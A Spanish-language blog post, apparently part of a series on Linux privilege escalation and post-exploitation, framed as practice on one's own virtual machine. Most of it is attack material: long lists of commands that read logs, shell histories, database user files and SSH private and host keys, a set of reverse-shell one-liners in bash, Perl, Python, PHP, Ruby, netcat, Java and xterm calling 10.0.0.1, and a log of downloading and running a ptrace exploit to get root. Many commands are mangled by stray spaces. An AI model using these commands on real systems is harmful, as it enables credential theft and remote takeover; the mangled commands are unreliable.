ELEVACIÓN DE PRIVILEGIOS EN LINUX II
Vamos a recordar el post anterior Si lo leíste con atención te tendría que haber surgido unas preguntas desde el principio ..
Lo que se pretende es que pienses con lógica y sepas lo que haces .. repito que metasploit está “chupi” de la muerte, pero aquí la misión es que sepas Atacar, explotar, esconder,”pillar”,borrar y salir como si nada hubiera pasado sin herramientas .. luego tu , como todos, “tiramos” de nuestras herramientas preferidas.
Para esto vas a hacer este ejercicio mental que lo usarás al final del post.. Vas a pensar “EN” el atacante, es decir, vas a pensar “EN TI MISMO”, y te vas a poner delante de un Linux virtualizado. Toda la Elevación de Privilegios y en si toda la post explotación tiene su base “EN” el atacante y no “COMO” el atacante.. Es decir, en “TI”
Por lo tanto, cuando leas este post y tengas que practicar comandos piensa DONDE TIENES TU “cositas” interesantes para buscar aparte de darte yo una serie “rutas” ya que comandos son “siempre” los mismos.
Si os daís cuenta ya en este articulo metí estos comandos que los teneis en muchos sitios, pero no siempre tiene por qué ser así, ya que OS TENDREIS QUE ADAPTAR AL OBJETIVO EN SI y quizás lo que queráis está en otro sitio .. por eso intentar no ser rígidos para que en ese momento de quedarte en blanco puedas salir por otro sitios
Vuelve a leer esta parte ..
ATACANTE LOCAL = ATAQUE LOCAL.
En casi todos los casos, los firewalls están configurados para restringir el acceso desde sistemas y redes externas, pero el tráfico que proviene de la interfaz interna 127.0.0.1, por línea general no suele tener ningún tipo de restricción.. es más , filtrar el tráfico de esta interfaz provoca directamente que muchas aplicaciones tengan problemas de funcionamiento y es por ello que os vamos a fijar en esto aprovechando que este camino puede estar abierto con una probabilidad alta.
(Si te vino la pregunta “Y como scaneo, enumero y exploto?” ENHORABUENA)
Bueno, pues un usuario local( o externo una vez dentro), puede perfectamente intentar scanear, enumerar y explotar servicios locales a los que no se tiene acceso desde el exterior.. y aquí nos encontramos con dos posibilidades…
Bueno, pues aquí está el “turrón” de la elevación de privilegios unido a “algo” que acabo de decir..
“scanear, enumerar ,explotar servicios locales,.. y adaptarse al entorno.”
(Dependiendo de tu habilidad tardarás más o menos, pero ya te adelanto que ya puedes ponerte a practicar porque esto no es inmediato .. de hecho es un proceso muy bonito pero que tienen su “HORAS” de practicas.)
A tener en cuenta
1) Linux es ahora más seguro y esto hace que se complique el tema de elevar privilegios para hacer más difícil la escalada de privilegios
2) Distribuciones Linux? Y más .. cada una puede ser un mundo a la hora de explotar
3) Ya se actualiza automáticamente.. todo cambia
4) Debes saber Linux desde 0
5) El control de acceso y el sistema de archivos es CLAVE para la elevación de privilegios
6)Ya no es mas complicado elevar privilegios seguro que en un Windows, los tiempos han cambiado
7)Solo te puedo decir seguro que es muy difícil al principio y que te vas a hartar al fallar y no conseguir tu objetivo .. Solo quien persevera llega, recuérdalo
Por lo tanto ya te deberían haber surgido las preguntas que TU mismo vas a responder en el “Linux “virtual que tienes.(al final del post lo entenderás)
Cual es el Sistema Operativo?
Que servicios están corriendo?
Kernel?
A que grupo pertenezco?
Que usuario soy? Quien leches soy???
Hasta donde puedo llegar con los permisos que tengo?
Cuantos usuarios existen en el sistema?
Cual/es de esos usuarios son los que me interesan para tener sus privilegios?
¿Quién está conmigo en estos momentos en el sistema?
Qué archivos de configuración se pueden leer / escribir en / etc /?
Contenido en / var /?
¿Es posible escribir archivos en los lugares que se encuentran en otra ruta usuarios?
Archivos SUID y GUID
Identificar los archivos que sean legibles y con permisos de escritura
Algo sin montar?
Cómo se montan?
Puedo saber algo más de todos los usuarios para tener un perfil de ellos?
Y que estarán haciendo.. están “cerca”?
Y Aplicaciones?
Necesito saber la configuración de red?
( si la tienes que responder apaga y vámonos)
Cual/ es la MAC? / NIC?
Qué herramientas de desarrollo / idiomas están instalados / compatible?
¿En qué áreas se pueden escribir?
¿Dónde se puede ejecutar código?
¿Cómo se pueden subir archivos? ftp?
Los usuarios pueden salir hacia fuera? Cuales?
No tendré un “Tunelcillo”?
Y ahora, como exploto? BOOM !!
En fin, que si te das cuenta no te tendrías que poner ni medio nervioso a la hora de hacer esto en una situación real .. por qué? Porque todo esto es lo que deberías comprobar tu en tu Linux virtualizado una y otra vez hasta que te salga “sangre” en los dedos de repetirlo, aunque la mayoría son de lógica.
Tu que guardas con más celo? Todo lo que sea “root”.. pues que va a intentar cotillear? Todo lo que sea /root o lo que tienes dentro de casita no? Pues el /Home.
“COTILLEANDO” ARCHIVOS IMPORTANTES Esto es una parte de la Post Explotación evidentemente |
locate tar | grep [.]tar$ # Recuerda actualizar la Base de Datos antes de correr locate
locate tgz | grep [.]tgz$
locate sql | grep [.]sql$
locate settings | grep [.]php$
locate config.inc | grep [.]php$
cat / var / log / apache / access.log
cat / var / log / auth.log
cat / var / log / chttp.log
cat / var / log / cups / error_log
cat / var / log / dpkg.log
cat / var / log / faillog
cat / var / log / httpd / access_log
cat / var / log / httpd / access.log
cat / var / log / httpd / error_log
cat / var / log / httpd / error.log
cat / var / log / lastlog
cat / var / log / lighttpd / access.log
cat / var / log / lighttpd / error.log
cat / var / log / lighttpd / lighttpd.access.log
cat / var / log / lighttpd / lighttpd.error.log
cat / var / log / messages
cat / var / log / secure
cat / var / log / syslog
ls /home/*/id*
Http://www.thegeekstuff.com/2011/08/linux-var-log-files/
cat / var / log / wtmp
cat / var / log / xferlog
cat / var / log / yum.log
cat / var / run / utmp
cat / var / webmin / miniserv.log
cat / var / www / logs / access_log
cat / var / www / logs / access.log
Piensa EN tu “makina” y actua igual .. no tiene más secretos.
Los comandos siempre son los mismos..
ls-alh / var / log
ls-alh / var / mail
ls-alh / var / spool
ls-alh / var / spool / lpd
ls-alh / var / lib / pgsql
ls-alh / var / lib / mysql
cat / var/lib/dhcp3/dhclient.leases
ls-alh / var/lib/dhcp3 /
ls-alh / var / log / postgresql /
ls-alh / var / log / proftpd /
ls-alh / var / log / samba /
.properties | grep [.]properties # java config files
locate .xml | grep [.]xml # java/.net config files
find /sbin /usr/sbin /opt /lib `echo $PATH | ‘sed s/:/ /g’` -perm /6000 -ls # find suids
locate rhosts
cat / etc / httpd / logs / access_log
cat / etc / httpd / logs / access.log
cat / etc / httpd / logs / error_log
cat / etc / httpd / logs / error.log
find / etc / legible de tipo f 2> / dev / null # Cualquier persona
find / etc / legible-type f-maxdepth 1 2> / dev / null # Cualquier persona
ls-ARL / etc / | awk ‘$ 1 ~ / ^ * w * /..’ 2> / dev / null # Cualquier persona
ls-ARL / etc / | awk ‘$ 1 ~ / ^ .. w /’ 2> / dev / null # Propietario
ls-ARL / etc / | awk ‘$ 1 ~ / ^ ….. w /’ 2> / dev / null # Grupo
ls-ARL / etc / | awk ‘$ 1 ~ / w $ /.’ 2> / dev / null # Otros
cat / var/log/apache2/access_log
cat / var/log/apache2/access.log
cat / var/log/apache2/error_log
cat / var/log/apache2/error.log
cat / var / log / apache / access.log
ls -dlR */ #
ls -alR | grep ^d
find /var -type d
ls -dl `find /var -type d`
ls -dl `find /var -type d` | grep -v root
find /var ! -user root -type d -ls
find /var/log -type f -exec ls -la {} \;
find / -perm -4000 (find all suid files)
ls -alhtr /mnt
ls -alhtr /media
ls -alhtr /tmp
ls -alhtr /home
cd /home/; treels /home/*/.ssh/*
find /home -type f -iname ‘.*history’
ls -lart /etc/rc.d/
VAMOS A POR LOS USUARIOS Y SU INFORMACIÓN |
ls -alh /home/*/
ls -alh /home/*/.ssh/
cat / var/apache2/config.inc
cat / var / lib / mysql / mysql / user.MYD
cat / etc / httpd / logs / access_log
cat / etc / httpd / logs / access.log
cat / etc / httpd / logs / error_log
cat / etc / httpd / logs / error.log
cat / var/log/apache2/access_log
cat / var/log/apache2/access.log
cat / var/log/apache2/error_log
cat / var/log/apache2/error.log
cat / var / log / apache / access.log
cat / var / log / apache / access.log
cat / var / log / auth.log
cat / var / log / chttp.log
cat / var / log / cups / error_log
cat / var / log / dpkg.log
cat / var / log / faillog
cat / var / log / httpd / access_log
cat / var / log / httpd / access.log
cat / var / log / httpd / error_log
cat / var / log / httpd / error.log
cat / var / log / lastlog
cat / var / log / lighttpd / access.log
cat / var / log / lighttpd / error.log
cat / var / log / lighttpd / lighttpd.access.log
cat / var / log / lighttpd / lighttpd.error.log
cat / var / log / messages
cat / var / log / secure
cat / var / log / syslog
cat / var / log / wtmp
cat / var / log / xferlog
cat / var / log / yum.log
cat / var / run / utmp
cat / var / webmin / miniserv.log
cat / var / www / logs / access_log
cat / var / www / logs / access.log
ls-alh / var/lib/dhcp3 /
ls-alh / var / log / postgresql /
ls-alh / var / log / proftpd /
ls-alh / var / log / samba /
cat / root / anaconda-ks.cfg
cat /home/*/.ssh/authorized_keys
cat /home/*/.ssh/known_hosts
cat / etc / ssh / ssh_config
cat / etc / ssh / sshd_config
cat /home/*/.*hist* # De aquí sacas mucho mucho …
find /home/*/.vnc /home/*/.subversion -type f
grep ^ssh /home/*/.*hist*
grep ^telnet `/home/*/.*hist*
grep ^mysql /home/*/.*hist*
cat /home/*/.viminfo
sudo -l
crontab -l
cat /home/*/.mysql_history
cat ~ / .ssh / authorized_keys
cat ~ / .ssh / identity.pub
cat ~ /. bashrc
cat ~ /. perfil
cat / var / mail / root
cat / var / spool / mail / root
cat ~ / .ssh / identity
cat ~ / .ssh / id_rsa.pub
cat ~ / .ssh / id_rsa
cat ~ / .ssh / id_dsa.pub
cat ~ / .ssh / id_dsa
cat / etc / ssh / ssh_host_dsa_key.pub
cat / etc / ssh / ssh_host_dsa_key
cat / etc / ssh / ssh_host_rsa_key.pub
cat / etc / ssh / ssh_host_rsa_key
cat / etc / ssh / ssh_host_key.pub
cat / etc / ssh / ssh_host_key
TENIENDO EL CONTROL Y “REVERSEANDO” LA SHELL |
BASH
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
PERL
perl -e ‘use Socket;$i=”10.0.0.1″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
PYTHON
Linux / Python 2.7:
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.0.1″,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
PHP
php -r ‘$sock=fsockopen(“10.0.0.1″,1234);exec(“/bin/sh -i <&3 >&3 2>&3″);’
Para subir un php.. no uses esta shell reversa, usa una “php reverse shell” más “robusta” .. está es para empezar, ya pondré las más ”adecuadas” dependiendo el “entorno” ..
RUBY
ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1″,1234).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’
NETCAT
nc -e /bin/sh 10.0.0.1 1234 # Existen más .. Lo mismo, se iré mostrando.
JAVA
r = Runtime.getRuntime()
p = r.exec([“/bin/bash”,”-c”,”exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done”] as String[])
p.waitFor()
X-TERM
Una de las más sencillas… Todos los comandos deben ser ejecutados en el servidor Asumimos que tenemos esta ip 10.0.0.1 por TCP en el puerto 6001.
xterm -display 10.0.0.1:1
Para capturar el xterm entrante comienza un X-Server (:1 y escuha pr defecto en el 6001) y tienes la opción de Xnest que tienes que correr en tu equipo, para hacer esto
Xnest :1
Tienes que autorizar al “objetivo” , recuerda que los comandos también corren en tu mákina ..
xhost +targetip
Encontrar el código del exploit
Puedes hacer todo lo que se te ocurra ..
By the way .. Ejercicio
Necesario
-Una Maquina virtual con Ubuntu sin actualizar..
-“Eres el administrador de la web de un colegio bilingüe con sedes mas que profesores en todo el mundo. Piensa durante cinco minutos EN lo que un hacker haría si te hubiera comprometido tu Linux y por lo tanto EN lo que tu te comprometerías a ti mismo. Suponemos que tienes todo.. mysql, apache,ssh,ftp …
-Vete apuntando las ideas en un cuaderno o una hoja.
-Saca estos comando por impresora y te los pones al lado de “las ideas de los cinco minutos”
-Ya lo tienes? HAZ LO MISMO YA pensando EN sus/tus movimientos!!
Objetivos:
-Ver el contenido de los ficheros o archivos
-Que te muevas por todo el sistema si eres novato adquiriendo agilidad
-Control del sistema de ficheros de Linux
-“Master” del control de acceso
-Conocimiento de usuarios, permisos…
-Visionado de tus archivos y ficheros más confidenciales para familiarizarte con la salida que tienen cada uno de ellos
-Rapidez en el movimiento por todo el sistema
-Rapidez en la ejecución de los comandos
-Conseguir la explotación de “tu Linux”
-Elevar privilegios en tu mákina
-Disminución de los nervios a la hora de enfrentarte a ello en “real”
-Debes repetirlo hasta que te lo sepas de “memoria”
-Repetirlo
-Repetirlo
-Repetirlo
Ejemplo de explotación
A modo de ejemplo sencillo y “antiguo” vamos a Explotar la vulnerabilidad “ptrace” con una condición de carrera en los núcleos 2.2 y 2.4
Para conseguir explotar la vulnerabilidad ptrace, lo único que vamos a hacer es conseguir el exploit y ejecutarlo en el sistema victima.
-19:05:52-http://servidor_web_intruso/ptrace.c
=>‘ptrace.c’
Resolving servidor_web_intruso… done.
Connecting to servidor_web_intruso[10.1.0.2]:80… connected
HTTP request sent. Awaiting response… 200 OK
Length: unspecified
[<=>] 2.046 275,07K/s
19:05:52 (275.07 KB/s) – ‘ptrace.c’ saved [2046]
$ gcc –o ptrace ptrace.c
$ ./ptrace
[+] Attached to 11862
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4000ed4d
[+] Now wait for suid shell…
Sh-2.05a# id
Uid=0(root) gid=0(root) groups=0(root), 1(bin), 2(daemon), 3(sys), 4(adm), 6(disk), 10(wheel)
Cuando entendáis a hacer esto, ya podéis usar metasploit, mientras tanto es lo mismo que “pan con pan”.. “comida de tontos”, no os engañéis
Referencias:
Espero que os haya gustado y alguien haga este ejercicio de entrenamiento , por lo menos 1 habrá
Un saludo
Juan Carlos García
Live Free Or Die Hacking